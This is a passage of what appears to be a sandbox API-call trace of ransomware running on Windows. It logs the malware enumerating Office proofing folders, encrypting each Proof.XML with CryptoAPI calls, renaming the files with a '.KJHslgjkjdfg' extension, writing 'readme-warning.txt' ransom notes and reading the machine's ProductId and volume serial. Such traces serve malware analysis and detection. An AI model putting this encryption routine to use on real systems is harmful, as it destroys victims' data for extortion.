dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.890] wsprintfA (in: param_1=0x290e797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0143.890] wsprintfA (in: param_1=0x290eba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0143.890] GetProcessHeap () returned 0x2a0000 [0143.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f7dc8 [0143.890] wsprintfW (in: param_1=0x290db74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\readme-warning.txt") returned 107 [0143.890] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.890] WriteFile (in: hFile=0x13c, lpBuffer=0x2f7dc8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290db70, lpOverlapped=0x0 | out: lpBuffer=0x2f7dc8*, lpNumberOfBytesWritten=0x290db70*=0x3b3, lpOverlapped=0x0) returned 1 [0143.892] CloseHandle (hObject=0x13c) returned 1 [0143.892] GetProcessHeap () returned 0x2a0000 [0143.892] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7a00 | out: hHeap=0x2a0000) returned 1 [0143.892] GetProcessHeap () returned 0x2a0000 [0143.892] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7dc8 | out: hHeap=0x2a0000) returned 1 [0143.892] GetProcessHeap () returned 0x2a0000 [0143.892] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0143.892] GetProcessHeap () returned 0x2a0000 [0143.892] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.892] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0143.893] GetProcessHeap () returned 0x2a0000 [0143.893] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0143.893] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0143.893] GetProcessHeap () returned 0x2a0000 [0143.893] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc2) returned 0x2ed148 [0143.893] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0143.894] GetProcessHeap () returned 0x2a0000 [0143.894] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0143.894] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0143.894] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0143.894] GetProcessHeap () returned 0x2a0000 [0143.894] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c4) returned 0x2f7730 [0143.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.895] GetProcessHeap () returned 0x2a0000 [0143.895] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.895] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.895] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.895] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xf, lpOverlapped=0x0) returned 1 [0143.898] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.898] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.898] GetProcessHeap () returned 0x2a0000 [0143.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0143.898] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0143.898] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.898] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0143.898] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.898] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.898] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.898] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.899] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.899] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.899] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.899] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.899] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5b1, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x5b1, lpOverlapped=0x0) returned 1 [0143.899] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x5c0) returned 1 [0143.899] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.899] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x5c0, lpOverlapped=0x0) returned 1 [0143.899] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.899] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.899] SetEndOfFile (hFile=0x13c) returned 1 [0143.902] GetProcessHeap () returned 0x2a0000 [0143.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0143.902] GetProcessHeap () returned 0x2a0000 [0143.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.902] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.kjhslgjkjdfg")) returned 1 [0143.909] CloseHandle (hObject=0x13c) returned 1 [0143.910] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0143.910] GetProcessHeap () returned 0x2a0000 [0143.910] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.910] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.910] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290eb98 | out: pbData=0x2bf570, pdwDataLen=0x290eb98) returned 1 [0143.910] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.910] GetProcessHeap () returned 0x2a0000 [0143.910] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0143.910] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.910] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290eb98 | out: pbData=0x2bf5b8, pdwDataLen=0x290eb98) returned 1 [0143.910] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.910] GetProcessHeap () returned 0x2a0000 [0143.910] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f7a00 [0143.910] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.910] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f7a00, pdwDataLen=0x290eb98 | out: pbData=0x2f7a00, pdwDataLen=0x290eb98) returned 1 [0143.910] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.910] GetProcessHeap () returned 0x2a0000 [0143.910] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0143.911] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.911] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e778 | out: pbData=0x2bf528, pdwDataLen=0x290e778) returned 1 [0143.911] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.911] GetProcessHeap () returned 0x2a0000 [0143.911] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.911] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.911] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e778 | out: pbData=0x2c1640, pdwDataLen=0x290e778) returned 1 [0143.911] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.911] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e774 | out: phkResult=0x290e774*=0x13c) returned 0x0 [0143.911] RegQueryValueExA (in: hKey=0x13c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e780, lpcbData=0x290e77c*=0x400 | out: lpType=0x0, lpData=0x290e780*=0x30, lpcbData=0x290e77c*=0x18) returned 0x0 [0143.911] RegCloseKey (hKey=0x13c) returned 0x0 [0143.911] GetProcessHeap () returned 0x2a0000 [0143.911] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0143.911] GetProcessHeap () returned 0x2a0000 [0143.911] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.911] GetProcessHeap () returned 0x2a0000 [0143.911] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.911] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.911] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e54c | out: pbData=0x2c1640, pdwDataLen=0x290e54c) returned 1 [0143.912] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.912] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0143.912] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0143.912] GetProcessHeap () returned 0x2a0000 [0143.912] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.912] wsprintfA (in: param_1=0x290e797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0143.912] wsprintfA (in: param_1=0x290eba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0143.912] GetProcessHeap () returned 0x2a0000 [0143.912] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f7dc8 [0143.912] wsprintfW (in: param_1=0x290db74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\readme-warning.txt") returned 107 [0143.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.913] WriteFile (in: hFile=0x13c, lpBuffer=0x2f7dc8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290db70, lpOverlapped=0x0 | out: lpBuffer=0x2f7dc8*, lpNumberOfBytesWritten=0x290db70*=0x3b3, lpOverlapped=0x0) returned 1 [0143.914] CloseHandle (hObject=0x13c) returned 1 [0143.914] GetProcessHeap () returned 0x2a0000 [0143.914] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7a00 | out: hHeap=0x2a0000) returned 1 [0143.914] GetProcessHeap () returned 0x2a0000 [0143.914] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7dc8 | out: hHeap=0x2a0000) returned 1 [0143.915] GetProcessHeap () returned 0x2a0000 [0143.915] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0143.915] GetProcessHeap () returned 0x2a0000 [0143.915] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.915] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0143.915] GetProcessHeap () returned 0x2a0000 [0143.915] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0143.915] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0143.915] GetProcessHeap () returned 0x2a0000 [0143.915] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc2) returned 0x2ed148 [0143.915] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0143.916] GetProcessHeap () returned 0x2a0000 [0143.916] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0143.916] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0143.916] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0143.916] GetProcessHeap () returned 0x2a0000 [0143.916] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2c4) returned 0x2f7730 [0143.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.917] GetProcessHeap () returned 0x2a0000 [0143.917] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.917] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.917] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.917] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xe, lpOverlapped=0x0) returned 1 [0143.920] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.920] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.920] GetProcessHeap () returned 0x2a0000 [0143.920] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0143.920] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0143.920] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.920] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0143.920] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.920] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.920] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.920] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.920] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.920] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.921] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.921] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.921] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5b2, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x5b2, lpOverlapped=0x0) returned 1 [0143.921] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x5c0) returned 1 [0143.921] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.921] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x5c0, lpOverlapped=0x0) returned 1 [0143.921] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.921] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.921] 